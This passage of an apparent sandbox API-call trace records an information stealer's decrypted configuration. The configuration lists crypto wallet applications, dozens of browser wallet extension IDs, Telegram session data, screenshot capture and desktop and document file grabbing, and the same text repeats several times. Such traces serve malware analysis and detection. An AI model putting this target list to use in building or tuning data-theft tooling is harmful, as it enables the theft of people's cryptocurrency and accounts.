Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.631] lstrlenW (lpString="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4402 [0259.631] lstrlenW (lpString="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4402 [0259.631] LocalAlloc (uFlags=0x40, uBytes=0x2264) returned 0x6b9720 [0259.631] lstrlenW (lpString="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4402 [0259.631] LocalAlloc (uFlags=0x40, uBytes=0x2264) returned 0x6bb990 [0259.631] lstrlenW (lpString="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension 